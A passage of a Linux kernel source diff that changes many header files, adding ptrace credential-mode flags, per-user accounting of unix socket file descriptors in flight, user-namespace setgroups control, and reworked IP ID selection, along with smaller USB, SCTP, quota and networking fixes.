persistent_ram_zone { }; struct persistent_ram_zone *persistent_ram_new(phys_addr_t start, size_t size, - u32 sig, struct persistent_ram_ecc_info *ecc_info); + u32 sig, struct persistent_ram_ecc_info *ecc_info, + unsigned int memtype); void persistent_ram_free(struct persistent_ram_zone *prz); void persistent_ram_zap(struct persistent_ram_zone *prz); @@ -78,6 +79,7 @@ void ramoops_console_write_buf(const char *buf, size_t size); struct ramoops_platform_data { unsigned long mem_size; unsigned long mem_address; + unsigned int mem_type; unsigned long record_size; unsigned long console_size; unsigned long ftrace_size; diff --git a/include/linux/ptrace.h b/include/linux/ptrace.h index bb980ae6d9d36..6af8988f5dddc 100644 --- a/include/linux/ptrace.h +++ b/include/linux/ptrace.h @@ -56,7 +56,29 @@ extern void exit_ptrace(struct task_struct *tracer); #define PTRACE_MODE_READ 0x01 #define PTRACE_MODE_ATTACH 0x02 #define PTRACE_MODE_NOAUDIT 0x04 -/* Returns true on success, false on denial. */ +#define PTRACE_MODE_FSCREDS 0x08 +#define PTRACE_MODE_REALCREDS 0x10 + +/* shorthands for READ/ATTACH and FSCREDS/REALCREDS combinations */ +#define PTRACE_MODE_READ_FSCREDS (PTRACE_MODE_READ | PTRACE_MODE_FSCREDS) +#define PTRACE_MODE_READ_REALCREDS (PTRACE_MODE_READ | PTRACE_MODE_REALCREDS) +#define PTRACE_MODE_ATTACH_FSCREDS (PTRACE_MODE_ATTACH | PTRACE_MODE_FSCREDS) +#define PTRACE_MODE_ATTACH_REALCREDS (PTRACE_MODE_ATTACH | PTRACE_MODE_REALCREDS) + +/** + * ptrace_may_access - check whether the caller is permitted to access + * a target task. + * @task: target task + * @mode: selects type of access and caller credentials + * + * Returns true on success, false on denial. + * + * One of the flags PTRACE_MODE_FSCREDS and PTRACE_MODE_REALCREDS must + * be set in @mode to specify whether the access was requested through + * a filesystem syscall (should use effective capabilities and fsuid + * of the caller) or through an explicit syscall such as + * process_vm_writev or ptrace (and should use the real credentials). + */ extern bool ptrace_may_access(struct task_struct *task, unsigned int mode); static inline int ptrace_reparented(struct task_struct *child) diff --git a/include/linux/quotaops.h b/include/linux/quotaops.h index 1c50093ae656d..6965fe394c3bb 100644 --- a/include/linux/quotaops.h +++ b/include/linux/quotaops.h @@ -41,6 +41,7 @@ void __quota_error(struct super_block *sb, const char *func, void inode_add_rsv_space(struct inode *inode, qsize_t number); void inode_claim_rsv_space(struct inode *inode, qsize_t number); void inode_sub_rsv_space(struct inode *inode, qsize_t number); +void inode_reclaim_rsv_space(struct inode *inode, qsize_t number); void dquot_initialize(struct inode *inode); void dquot_drop(struct inode *inode); @@ -59,6 +60,7 @@ int dquot_alloc_inode(const struct inode *inode); int dquot_claim_space_nodirty(struct inode *inode, qsize_t number); void dquot_free_inode(const struct inode *inode); +void dquot_reclaim_space_nodirty(struct inode *inode, qsize_t number); int dquot_disable(struct super_block *sb, int type, unsigned int flags); /* Suspend quotas on remount RO */ @@ -238,6 +240,13 @@ static inline int dquot_claim_space_nodirty(struct inode *inode, qsize_t number) return 0; } +static inline int dquot_reclaim_space_nodirty(struct inode *inode, + qsize_t number) +{ + inode_sub_bytes(inode, number); + return 0; +} + static inline int dquot_disable(struct super_block *sb, int type, unsigned int flags) { @@ -336,6 +345,12 @@ static inline int dquot_claim_block(struct inode *inode, qsize_t nr) return ret; } +static inline void dquot_reclaim_block(struct inode *inode, qsize_t nr) +{ + dquot_reclaim_space_nodirty(inode, nr << inode->i_blkbits); + mark_inode_dirty_sync(inode); +} + static inline void dquot_free_space_nodirty(struct inode *inode, qsize_t nr) { __dquot_free_space(inode, nr, 0); diff --git a/include/linux/radix-tree.h b/include/linux/radix-tree.h index ffc444c38b0ab..e02e09f85fad2 100644 --- a/include/linux/radix-tree.h +++ b/include/linux/radix-tree.h @@ -321,13 +321,29 @@ radix_tree_iter_init(struct radix_tree_iter *iter, unsigned long start) void **radix_tree_next_chunk(struct radix_tree_root *root, struct radix_tree_iter *iter, unsigned flags); +/** + * radix_tree_iter_retry - retry this chunk of the iteration + * @iter: iterator state + * + * If we iterate over a tree protected only by the RCU lock, a race + * against deletion or creation may result in seeing a slot for which + * radix_tree_deref_retry() returns true. If so, call this function + * and continue the iteration. + */ +static inline __must_check +void **radix_tree_iter_retry(struct radix_tree_iter *iter) +{ + iter->next_index = iter->index; + return NULL; +} + /** * radix_tree_chunk_size - get current chunk size * * @iter: pointer to radix tree iterator * Returns: current chunk size */ -static __always_inline unsigned +static __always_inline long radix_tree_chunk_size(struct radix_tree_iter *iter) { return iter->next_index - iter->index; @@ -361,9 +377,9 @@ radix_tree_next_slot(void **slot, struct radix_tree_iter *iter, unsigned flags) return slot + offset + 1; } } else { - unsigned size = radix_tree_chunk_size(iter) - 1; + long size = radix_tree_chunk_size(iter); - while (size--) { + while (--size > 0) { slot++; iter->index++; if (likely(*slot)) diff --git a/include/linux/sched.h b/include/linux/sched.h index a90e828cb655b..9302a54892051 100644 --- a/include/linux/sched.h +++ b/include/linux/sched.h @@ -741,6 +741,7 @@ struct user_struct { unsigned long mq_bytes; /* How many bytes can be allocated to mqueue? */ #endif unsigned long locked_shm; /* How many pages of mlocked shm ? */ + unsigned long unix_inflight; /* How many files in flight in unix sockets */ atomic_long_t pipe_bufs; /* how many pages are allocated in pipe buffers */ #ifdef CONFIG_KEYS @@ -1569,6 +1570,12 @@ struct task_struct { unsigned long memsw_nr_pages; /* uncharged mem+swap usage */ } memcg_batch; unsigned int memcg_kmem_skip_account; + struct memcg_oom_info { + struct mem_cgroup *memcg; + gfp_t gfp_mask; + int order; + unsigned int may_oom:1; + } memcg_oom; #endif #ifdef CONFIG_HAVE_HW_BREAKPOINT atomic_t ptrace_bp_refcnt; @@ -1847,11 +1854,13 @@ static inline void sched_set_io_is_busy(int val) {}; #define tsk_used_math(p) ((p)->flags & PF_USED_MATH) #define used_math() tsk_used_math(current) -/* __GFP_IO isn't allowed if PF_MEMALLOC_NOIO is set in current->flags */ +/* __GFP_IO isn't allowed if PF_MEMALLOC_NOIO is set in current->flags + * __GFP_FS is also cleared as it implies __GFP_IO. + */ static inline gfp_t memalloc_noio_flags(gfp_t flags) { if (unlikely(current->flags & PF_MEMALLOC_NOIO)) - flags &= ~__GFP_IO; + flags &= ~(__GFP_IO | __GFP_FS); return flags; } @@ -2416,15 +2425,15 @@ static inline bool thread_group_leader(struct task_struct *p) * all we care about is that we have a task with the appropriate * pid, we don't actually care if we have the right task. */ -static inline int has_group_leader_pid(struct task_struct *p) +static inline bool has_group_leader_pid(struct task_struct *p) { - return p->pid == p->tgid; + return task_pid(p) == p->signal->leader_pid; } static inline -int same_thread_group(struct task_struct *p1, struct task_struct *p2) +bool same_thread_group(struct task_struct *p1, struct task_struct *p2) { - return p1->tgid == p2->tgid; + return p1->signal == p2->signal; } static inline struct task_struct *next_thread(const struct task_struct *p) diff --git a/include/linux/security.h b/include/linux/security.h index 3fd19934af2b3..4b5df69059d53 100644 --- a/include/linux/security.h +++ b/include/linux/security.h @@ -2450,7 +2450,7 @@ static inline int security_task_prctl(int option, unsigned long arg2, unsigned long arg4, unsigned long arg5) { - return cap_task_prctl(option, arg2, arg3, arg3, arg5); + return cap_task_prctl(option, arg2, arg3, arg4, arg5); } static inline void security_task_to_inode(struct task_struct *p, struct inode *inode) diff --git a/include/linux/signal.h b/include/linux/signal.h index 2ac423bdb6766..53944e50e4216 100644 --- a/include/linux/signal.h +++ b/include/linux/signal.h @@ -247,7 +247,6 @@ extern int sigprocmask(int, sigset_t *, sigset_t *); extern void set_current_blocked(sigset_t *); extern void __set_current_blocked(const sigset_t *); extern int show_unhandled_signals; -extern int sigsuspend(sigset_t *); struct sigaction { #ifndef __ARCH_HAS_IRIX_SIGACTION diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h index be9938e1289fa..892d9daf35978 100644 --- a/include/linux/skbuff.h +++ b/include/linux/skbuff.h @@ -2363,6 +2363,9 @@ static inline void skb_postpull_rcsum(struct sk_buff *skb, { if (skb->ip_summed == CHECKSUM_COMPLETE) skb->csum = csum_sub(skb->csum, csum_partial(start, len, 0)); + else if (skb->ip_summed == CHECKSUM_PARTIAL && + skb_checksum_start_offset(skb) < 0) + skb->ip_summed = CHECKSUM_NONE; } unsigned char *skb_pull_rcsum(struct sk_buff *skb, unsigned int len); diff --git a/include/linux/string.h b/include/linux/string.h index ac889c5ea11bd..0ed878d0465cd 100644 --- a/include/linux/string.h +++ b/include/linux/string.h @@ -129,7 +129,7 @@ int bprintf(u32 *bin_buf, size_t size, const char *fmt, ...) __printf(3, 4); #endif extern ssize_t memory_read_from_buffer(void *to, size_t count, loff_t *ppos, - const void *from, size_t available); + const void *from, size_t available); /** * strstarts - does @str start with @prefix? @@ -141,7 +141,8 @@ static inline bool strstarts(const char *str, const char *prefix) return strncmp(str, prefix, strlen(prefix)) == 0; } -extern size_t memweight(const void *ptr, size_t bytes); +size_t memweight(const void *ptr, size_t bytes); +void memzero_explicit(void *s, size_t count); /** * kbasename - return the last part of a pathname. diff --git a/include/linux/sunrpc/svc_xprt.h b/include/linux/sunrpc/svc_xprt.h index b05963f09ebf7..f5bfb1a80abe3 100644 --- a/include/linux/sunrpc/svc_xprt.h +++ b/include/linux/sunrpc/svc_xprt.h @@ -32,6 +32,7 @@ struct svc_xprt_class { struct svc_xprt_ops *xcl_ops; struct list_head xcl_list; u32 xcl_max_payload; + int xcl_ident; }; /* diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h index 5946b623b04ad..8b4dce41a568e 100644 --- a/include/linux/syscalls.h +++ b/include/linux/syscalls.h @@ -506,7 +506,7 @@ asmlinkage long sys_chown(const char __user *filename, asmlinkage long sys_lchown(const char __user *filename, uid_t user, gid_t group); asmlinkage long sys_fchown(unsigned int fd, uid_t user, gid_t group); -#ifdef CONFIG_UID16 +#ifdef CONFIG_HAVE_UID16 asmlinkage long sys_chown16(const char __user *filename, old_uid_t user, old_gid_t group); asmlinkage long sys_lchown16(const char __user *filename, diff --git a/include/linux/time.h b/include/linux/time.h index d5d229b2e5af1..7d532a32ff3ab 100644 --- a/include/linux/time.h +++ b/include/linux/time.h @@ -173,6 +173,19 @@ extern void getboottime(struct timespec *ts); extern void monotonic_to_bootbased(struct timespec *ts); extern void get_monotonic_boottime(struct timespec *ts); +static inline bool timeval_valid(const struct timeval *tv) +{ + /* Dates before 1970 are bogus */ + if (tv->tv_sec < 0) + return false; + + /* Can't have more microseconds then a second */ + if (tv->tv_usec < 0 || tv->tv_usec >= USEC_PER_SEC) + return false; + + return true; +} + extern struct timespec timespec_trunc(struct timespec t, unsigned gran); extern int timekeeping_valid_for_hres(void); extern u64 timekeeping_max_deferment(void); diff --git a/include/linux/tracepoint.h b/include/linux/tracepoint.h index ba605015c4d84..36e5e99988651 100644 --- a/include/linux/tracepoint.h +++ b/include/linux/tracepoint.h @@ -14,8 +14,11 @@ * See the file COPYING for more details. */ +#include #include #include +#include +#include #include #include @@ -259,15 +262,19 @@ static inline void tracepoint_synchronize_unregister(void) * "void *__data, proto" as the callback prototype. */ #define DECLARE_TRACE_NOARGS(name) \ - __DECLARE_TRACE(name, void, , 1, void *__data, __data) + __DECLARE_TRACE(name, void, , \ + cpu_online(raw_smp_processor_id()), \ + void *__data, __data) #define DECLARE_TRACE(name, proto, args) \ - __DECLARE_TRACE(name, PARAMS(proto), PARAMS(args), 1, \ - PARAMS(void *__data, proto), \ - PARAMS(__data, args)) + __DECLARE_TRACE(name, PARAMS(proto), PARAMS(args), \ + cpu_online(raw_smp_processor_id()), \ + PARAMS(void *__data, proto), \ + PARAMS(__data, args)) #define DECLARE_TRACE_CONDITION(name, proto, args, cond) \ - __DECLARE_TRACE(name, PARAMS(proto), PARAMS(args), PARAMS(cond), \ + __DECLARE_TRACE(name, PARAMS(proto), PARAMS(args), \ + cpu_online(raw_smp_processor_id()) && (PARAMS(cond)), \ PARAMS(void *__data, proto), \ PARAMS(__data, args)) diff --git a/include/linux/types.h b/include/linux/types.h index 4d118ba113497..83db8e5974dc9 100644 --- a/include/linux/types.h +++ b/include/linux/types.h @@ -35,7 +35,7 @@ typedef __kernel_gid16_t gid16_t; typedef unsigned long uintptr_t; -#ifdef CONFIG_UID16 +#ifdef CONFIG_HAVE_UID16 /* This is defined by include/asm-{arch}/posix_types.h */ typedef __kernel_old_uid_t old_uid_t; typedef __kernel_old_gid_t old_gid_t; diff --git a/include/linux/ucs2_string.h b/include/linux/ucs2_string.h index cbb20afdbc01c..bb679b48f4082 100644 --- a/include/linux/ucs2_string.h +++ b/include/linux/ucs2_string.h @@ -11,4 +11,8 @@ unsigned long ucs2_strlen(const ucs2_char_t *s); unsigned long ucs2_strsize(const ucs2_char_t *data, unsigned long maxlength); int ucs2_strncmp(const ucs2_char_t *a, const ucs2_char_t *b, size_t len); +unsigned long ucs2_utf8size(const ucs2_char_t *src); +unsigned long ucs2_as_utf8(u8 *dest, const ucs2_char_t *src, + unsigned long maxlength); + #endif /* _LINUX_UCS2_STRING_H_ */ diff --git a/include/linux/usb.h b/include/linux/usb.h index b0c00b73b8bf7..eb9de09a8cbea 100644 --- a/include/linux/usb.h +++ b/include/linux/usb.h @@ -206,6 +206,32 @@ void usb_put_intf(struct usb_interface *intf); #define USB_MAXINTERFACES 32 #define USB_MAXIADS (USB_MAXINTERFACES/2) +/* + * USB Resume Timer: Every Host controller driver should drive the resume + * signalling on the bus for the amount of time defined by this macro. + * + * That way we will have a 'stable' behavior among all HCDs supported by Linux. + * + * Note that the USB Specification states we should drive resume for *at least* + * 20 ms, but it doesn't give an upper bound. This creates two possible + * situations which we want to avoid: + * + * (a) sometimes an msleep(20) might expire slightly before 20 ms, which causes + * us to fail USB Electrical Tests, thus failing Certification + * + * (b) Some (many) devices actually need more than 20 ms of resume signalling, + * and while we can argue that's against the USB Specification, we don't have + * control over which devices a certification laboratory will be using for + * certification. If CertLab uses a device which was tested against Windows and + * that happens to have relaxed resume signalling rules, we might fall into + * situations where we fail interoperability and electrical tests. + * + * In order to avoid both conditions, we're using a 40 ms resume timeout, which + * should cope with both LPJ calibration errors and devices not following every + * detail of the USB Specification. + */ +#define USB_RESUME_TIMEOUT 40 /* ms */ + /** * struct usb_interface_cache - long-term representation of a device interface * @num_altsetting: number of altsettings defined. diff --git a/include/linux/usb/ehci_def.h b/include/linux/usb/ehci_def.h index daec99af5d547..1c88b177cb9ce 100644 --- a/include/linux/usb/ehci_def.h +++ b/include/linux/usb/ehci_def.h @@ -178,11 +178,11 @@ struct ehci_regs { * PORTSCx */ /* HOSTPC: offset 0x84 */ - u32 hostpc[1]; /* HOSTPC extension */ + u32 hostpc[0]; /* HOSTPC extension */ #define HOSTPC_PHCD (1<<22) /* Phy clock disable */ #define HOSTPC_PSPD (3<<25) /* Port speed detection */ - u32 reserved5[16]; + u32 reserved5[17]; /* USBMODE_EX: offset 0xc8 */ u32 usbmode_ex; /* USB Device mode extension */ diff --git a/include/linux/usb/hcd.h b/include/linux/usb/hcd.h index 707656a540430..1fbd95d9272b8 100644 --- a/include/linux/usb/hcd.h +++ b/include/linux/usb/hcd.h @@ -436,6 +436,7 @@ extern const struct dev_pm_ops usb_hcd_pci_pm_ops; #endif /* CONFIG_PCI */ /* pci-ish (pdev null is ok) buffer alloc/mapping support */ +void usb_init_pool_max(void); int hcd_buffer_create(struct usb_hcd *hcd); void hcd_buffer_destroy(struct usb_hcd *hcd); diff --git a/include/linux/usb/quirks.h b/include/linux/usb/quirks.h index 0f4ebe746c40f..9427bdf07451e 100644 --- a/include/linux/usb/quirks.h +++ b/include/linux/usb/quirks.h @@ -32,4 +32,10 @@ #define USB_QUIRK_OTG_PET 0x00000080 +/* device generates spurious wakeup, ignore remote wakeup capability */ +#define USB_QUIRK_IGNORE_REMOTE_WAKEUP 0x00000200 + +/* device can't handle Link Power Management */ +#define USB_QUIRK_NO_LPM BIT(10) + #endif /* __LINUX_USB_QUIRKS_H */ diff --git a/include/linux/user_namespace.h b/include/linux/user_namespace.h index 14105c26a8361..a37081cf59da6 100644 --- a/include/linux/user_namespace.h +++ b/include/linux/user_namespace.h @@ -17,6 +17,10 @@ struct uid_gid_map { /* 64 bytes -- 1 cache line */ } extent[UID_GID_MAP_MAX_EXTENTS]; }; +#define USERNS_SETGROUPS_ALLOWED 1UL + +#define USERNS_INIT_FLAGS USERNS_SETGROUPS_ALLOWED + struct user_namespace { struct uid_gid_map uid_map; struct uid_gid_map gid_map; @@ -27,6 +31,7 @@ struct user_namespace { kuid_t owner; kgid_t group; unsigned int proc_inum; + unsigned long flags; bool may_mount_sysfs; bool may_mount_proc; }; @@ -59,6 +64,9 @@ extern struct seq_operations proc_projid_seq_operations; extern ssize_t proc_uid_map_write(struct file *, const char __user *, size_t, loff_t *); extern ssize_t proc_gid_map_write(struct file *, const char __user *, size_t, loff_t *); extern ssize_t proc_projid_map_write(struct file *, const char __user *, size_t, loff_t *); +extern ssize_t proc_setgroups_write(struct file *, const char __user *, size_t, loff_t *); +extern int proc_setgroups_show(struct seq_file *m, void *v); +extern bool userns_may_setgroups(const struct user_namespace *ns); #else static inline struct user_namespace *get_user_ns(struct user_namespace *ns) @@ -83,6 +91,10 @@ static inline void put_user_ns(struct user_namespace *ns) { } +static inline bool userns_may_setgroups(const struct user_namespace *ns) +{ + return true; +} #endif void update_mnt_policy(struct user_namespace *userns); diff --git a/include/linux/workqueue.h b/include/linux/workqueue.h index 7f0f4eac14845..120dd354849d1 100644 --- a/include/linux/workqueue.h +++ b/include/linux/workqueue.h @@ -415,7 +415,7 @@ __alloc_workqueue_key(const char *fmt, unsigned int flags, int max_active, #define create_freezable_workqueue(name) \ alloc_workqueue((name), WQ_FREEZABLE | WQ_UNBOUND | WQ_MEM_RECLAIM, 1) #define create_singlethread_workqueue(name) \ - alloc_workqueue((name), WQ_UNBOUND | WQ_MEM_RECLAIM, 1) + alloc_ordered_workqueue("%s", WQ_MEM_RECLAIM, name) extern void destroy_workqueue(struct workqueue_struct *wq); diff --git a/include/media/videobuf2-core.h b/include/media/videobuf2-core.h index 3498d9f15c93f..24acff69f9401 100644 --- a/include/media/videobuf2-core.h +++ b/include/media/videobuf2-core.h @@ -324,6 +324,9 @@ struct v4l2_fh; * @done_wq: waitqueue for processes waiting for buffers ready to be dequeued * @alloc_ctx: memory type/allocator-specific contexts for each plane * @streaming: current streaming state + * @waiting_for_buffers: used in poll() to check if vb2 is still waiting for + * buffers. Only set for capture queues if qbuf has not yet been + * called since poll() needs to return POLLERR in that situation. * @fileio: file io emulator internal data, used only if emulator is active */ struct vb2_queue { @@ -356,6 +359,7 @@ struct vb2_queue { unsigned int plane_sizes[VIDEO_MAX_PLANES]; unsigned int streaming:1; + unsigned int waiting_for_buffers:1; struct vb2_fileio_data *fileio; }; diff --git a/include/net/af_unix.h b/include/net/af_unix.h index 9120783132e71..6278e4d32612e 100644 --- a/include/net/af_unix.h +++ b/include/net/af_unix.h @@ -6,8 +6,8 @@ #include #include -extern void unix_inflight(struct file *fp); -extern void unix_notinflight(struct file *fp); +extern void unix_inflight(struct user_struct *user, struct file *fp); +extern void unix_notinflight(struct user_struct *user, struct file *fp); extern void unix_gc(void); extern void wait_for_unix_gc(void); extern struct sock *unix_get_socket(struct file *filp); @@ -64,7 +64,11 @@ struct unix_sock { struct socket_wq peer_wq; wait_queue_t peer_wake; }; -#define unix_sk(__sk) ((struct unix_sock *)__sk) + +static inline struct unix_sock *unix_sk(struct sock *sk) +{ + return (struct unix_sock *)sk; +} #define peer_wait peer_wq.wait diff --git a/include/net/inet_common.h b/include/net/inet_common.h index 234008782c8cc..102fc42c7fb11 100644 --- a/include/net/inet_common.h +++ b/include/net/inet_common.h @@ -40,7 +40,8 @@ extern int inet_ctl_sock_create(struct sock **sk, unsigned short family, static inline void inet_ctl_sock_destroy(struct sock *sk) { - sk_release_kernel(sk); + if (sk) + sk_release_kernel(sk); } #endif diff --git a/include/net/inet_connection_sock.h b/include/net/inet_connection_sock.h index de2c78529afaf..0a8f6f961baa7 100644 --- a/include/net/inet_connection_sock.h +++ b/include/net/inet_connection_sock.h @@ -62,6 +62,7 @@ struct inet_connection_sock_af_ops { void (*addr2sockaddr)(struct sock *sk, struct sockaddr *); int (*bind_conflict)(const struct sock *sk, const struct inet_bind_bucket *tb, bool relax); + void (*mtu_reduced)(struct sock *sk); }; /** inet_connection_sock - INET connection oriented sock diff --git a/include/net/inetpeer.h b/include/net/inetpeer.h index 6ca347a0717ef..bb06fd26a7bd9 100644 --- a/include/net/inetpeer.h +++ b/include/net/inetpeer.h @@ -41,14 +41,13 @@ struct inet_peer { struct rcu_head gc_rcu; }; /* - * Once inet_peer is queued for deletion (refcnt == -1), following fields - * are not available: rid, ip_id_count + * Once inet_peer is queued for deletion (refcnt == -1), following field + * is not available: rid * We can share memory with rcu_head to help keep inet_peer small. */ union { struct { atomic_t rid; /* Frag reception counter */ - atomic_t ip_id_count; /* IP ID for the next packet */ }; struct rcu_head rcu; struct inet_peer *gc_next; @@ -166,7 +165,7 @@ extern void inetpeer_invalidate_tree(struct inet_peer_base *); extern void inetpeer_invalidate_family(int family); /* - * temporary check to make sure we dont access rid, ip_id_count, tcp_ts, + * temporary check to make sure we dont access rid, tcp_ts, * tcp_ts_stamp if no refcount is taken on inet_peer */ static inline void inet_peer_refcheck(const struct inet_peer *p) @@ -174,13 +173,4 @@ static inline void inet_peer_refcheck(const struct inet_peer *p) WARN_ON_ONCE(atomic_read(&p->refcnt) <= 0); } - -/* can be called with or without local BH being disabled */ -static inline int inet_getid(struct inet_peer *p, int more) -{ - more++; - inet_peer_refcheck(p); - return atomic_add_return(more, &p->ip_id_count) - more; -} - #endif /* _NET_INETPEER_H */ diff --git a/include/net/ip.h b/include/net/ip.h index 9066e39fcb3fe..80da4e188d448 100644 --- a/include/net/ip.h +++ b/include/net/ip.h @@ -37,11 +37,12 @@ struct inet_skb_parm { struct ip_options opt; /* Compiled IP options */ unsigned char flags; -#define IPSKB_FORWARDED 1 -#define IPSKB_XFRM_TUNNEL_SIZE 2 -#define IPSKB_XFRM_TRANSFORMED 4 -#define IPSKB_FRAG_COMPLETE 8 -#define IPSKB_REROUTED 16 +#define IPSKB_FORWARDED BIT(0) +#define IPSKB_XFRM_TUNNEL_SIZE BIT(1) +#define IPSKB_XFRM_TRANSFORMED BIT(2) +#define IPSKB_FRAG_COMPLETE BIT(3) +#define IPSKB_REROUTED BIT(4) +#define IPSKB_DOREDIRECT BIT(5) u16 frag_max_size; }; @@ -140,6 +141,7 @@ static inline struct sk_buff *ip_finish_skb(struct sock *sk, struct flowi4 *fl4) } /* datagram.c */ +int __ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len); extern int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len); @@ -163,7 +165,7 @@ static inline __u8 ip_reply_arg_flowi_flags(const struct ip_reply_arg *arg) return (arg->flags & IP_REPLY_ARG_NOSRCCHECK) ? FLOWI_FLAG_ANYSRC : 0; } -void ip_send_unicast_reply(struct net *net, struct sk_buff *skb, __be32 daddr, +void ip_send_unicast_reply(struct sock *sk, struct sk_buff *skb, __be32 daddr, __be32 saddr, const struct ip_reply_arg *arg, unsigned int len); @@ -256,9 +258,10 @@ int ip_dont_fragment(struct sock *sk, struct dst_entry *dst) !(dst_metric_locked(dst, RTAX_MTU))); } -extern void __ip_select_ident(struct iphdr *iph, struct dst_entry *dst, int more); +u32 ip_idents_reserve(u32 hash, int segs); +void __ip_select_ident(struct iphdr *iph, int segs); -static inline void ip_select_ident(struct sk_buff *skb, struct dst_entry *dst, struct sock *sk) +static inline void ip_select_ident_segs(struct sk_buff *skb, struct sock *sk, int segs) { struct iphdr *iph = ip_hdr(skb); @@ -268,24 +271,20 @@ static inline void ip_select_ident(struct sk_buff *skb, struct dst_entry *dst, s * does not change, they drop every other packet in * a TCP stream using header compression. */ - iph->id = (sk && inet_sk(sk)->inet_daddr) ? - htons(inet_sk(sk)->inet_id++) : 0; - } else - __ip_select_ident(iph, dst, 0); -} - -static inline void ip_select_ident_more(struct sk_buff *skb, struct dst_entry *dst, struct sock *sk, int more) -{ - struct iphdr *iph = ip_hdr(skb); - - if ((iph->frag_off & htons(IP_DF)) && !skb->local_df) { if (sk && inet_sk(sk)->inet_daddr) { iph->id = htons(inet_sk(sk)->inet_id); - inet_sk(sk)->inet_id += 1 + more; - } else + inet_sk(sk)->inet_id += segs; + } else { iph->id = 0; - } else - __ip_select_ident(iph, dst, more); + } + } else { + __ip_select_ident(iph, segs); + } +} + +static inline void ip_select_ident(struct sk_buff *skb, struct sock *sk) +{ + ip_select_ident_segs(skb, sk, 1); } /* diff --git a/include/net/ip6_fib.h b/include/net/ip6_fib.h index 665e0cee59bd9..5e661a979694e 100644 --- a/include/net/ip6_fib.h +++ b/include/net/ip6_fib.h @@ -301,7 +301,7 @@ extern void inet6_rt_notify(int event, struct rt6_info *rt, struct nl_info *info); extern void fib6_run_gc(unsigned long expires, - struct net *net); + struct net *net, bool force); extern void fib6_gc_cleanup(void); diff --git a/include/net/ipv6.h b/include/net/ipv6.h index d90de07e0f5d1..f3bb9e79fa26b 100644 --- a/include/net/ipv6.h +++ b/include/net/ipv6.h @@ -505,6 +505,7 @@ struct ip6_create_arg { u32 user; const struct in6_addr *src; const struct in6_addr *dst; + int iif; u8 ecn; }; @@ -557,14 +558,19 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a) } /* more secured version of ipv6_addr_hash() */ -static inline u32 ipv6_addr_jhash(const struct in6_addr *a) +static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval) { u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1]; return jhash_3words(v, (__force u32)a->s6_addr32[2], (__force u32)a->s6_addr32[3], - ipv6_hash_secret); + initval); +} + +static inline u32 ipv6_addr_jhash(const struct in6_addr *a) +{ + return __ipv6_addr_jhash(a, ipv6_hash_secret); } static inline bool ipv6_addr_loopback(const struct in6_addr *a) @@ -676,8 +682,6 @@ static inline int ipv6_addr_diff(const struct in6_addr *a1, const struct in6_add return __ipv6_addr_diff(a1, a2, sizeof(struct in6_addr)); } -extern void ipv6_select_ident(struct frag_hdr *fhdr, struct rt6_info *rt); - /* * Header manipulation */ diff --git a/include/net/netns/ipv4.h b/include/net/netns/ipv4.h index 0dd6f0b3eadb9..4f6c72095cf6c 100644 --- a/include/net/netns/ipv4.h +++ b/include/net/netns/ipv4.h @@ -43,6 +43,7 @@ struct netns_ipv4 { struct inet_peer_base *peers; struct tcpm_hash_bucket *tcp_metrics_hash; unsigned int tcp_metrics_hash_log; + struct sock * __percpu *tcp_sk; struct netns_frags frags; #ifdef CONFIG_NETFILTER struct xt_table *iptable_filter; diff --git a/include/net/netns/sctp.h b/include/net/netns/sctp.h index 3573a81815ad9..8ba379f9e4678 100644 --- a/include/net/netns/sctp.h +++ b/include/net/netns/sctp.h @@ -31,6 +31,7 @@ struct netns_sctp { struct list_head addr_waitq; struct timer_list addr_wq_timer; struct list_head auto_asconf_splist; + /* Lock that protects both addr_waitq and auto_asconf_splist */ spinlock_t addr_wq_lock; /* Lock that protects the local_addr_list writers */ diff --git a/include/net/scm.h b/include/net/scm.h index 8de2d37d2077f..d00cd43a990c8 100644 --- a/include/net/scm.h +++ b/include/net/scm.h @@ -21,6 +21,7 @@ struct scm_creds { struct scm_fp_list { short count; short max; + struct user_struct *user; struct file *fp[SCM_MAX_FD]; }; diff --git a/include/net/sctp/command.h b/include/net/sctp/command.h index 35247271e5571..5f39c1cc0766b 100644 --- a/include/net/sctp/command.h +++ b/include/net/sctp/command.h @@ -118,7 +118,7 @@ typedef enum { * analysis of the state functions, but in reality just taken from * thin air in the hopes othat we don't trigger a kernel panic. */ -#define SCTP_MAX_NUM_COMMANDS 14 +#define SCTP_MAX_NUM_COMMANDS 20 typedef union { __s32 i32; diff --git a/include/net/sctp/sctp.h b/include/net/sctp/sctp.h index cd89510eab2a4..845ab6decc457 100644 --- a/include/net/sctp/sctp.h +++ b/include/net/sctp/sctp.h @@ -540,6 +540,11 @@ static inline void sctp_assoc_pending_pmtu(struct sock *sk, struct sctp_associat asoc->pmtu_pending = 0; } +static inline bool sctp_chunk_pending(const struct sctp_chunk *chunk) +{ + return !list_empty(&chunk->list); +} + /* Walk through a list of TLV parameters. Don't trust the * individual parameter lengths and instead depend on * the chunk length to indicate when to stop. Make sure diff --git a/include/net/sctp/sm.h b/include/net/sctp/sm.h index 2a82d1384706c..c4c9458f37cde 100644 --- a/include/net/sctp/sm.h +++ b/include/net/sctp/sm.h @@ -255,9 +255,9 @@ struct sctp_chunk *sctp_make_asconf_update_ip(struct sctp_association *, int, __be16); struct sctp_chunk *sctp_make_asconf_set_prim(struct sctp_association *asoc, union sctp_addr *addr); -int sctp_verify_asconf(const struct sctp_association *asoc, - struct sctp_paramhdr *param_hdr, void *chunk_end, - struct sctp_paramhdr **errp); +bool sctp_verify_asconf(const struct sctp_association *asoc, + struct sctp_chunk *chunk, bool addr_param_needed, + struct sctp_paramhdr **errp); struct sctp_chunk *sctp_process_asconf(struct sctp_association *asoc, struct sctp_chunk *asconf); int sctp_process_asconf_ack(struct sctp_association *asoc, diff --git a/include/net/sctp/structs.h b/include/net/sctp/structs.h index da6b9a01ff75b..b30c1d95be2c2 100644 --- a/include/net/sctp/structs.h +++ b/include/net/sctp/structs.h @@ -228,6 +228,10 @@ struct sctp_sock { atomic_t pd_mode; /* Receive to here while partial delivery is in effect. */ struct sk_buff_head pd_lobby; + + /* These must be the last fields, as they will skipped on copies, + * like on accept and peeloff operations + */ struct list_head auto_asconf_list; int do_auto_asconf; }; diff --git a/include/net/secure_seq.h b/include/net/secure_seq.h index 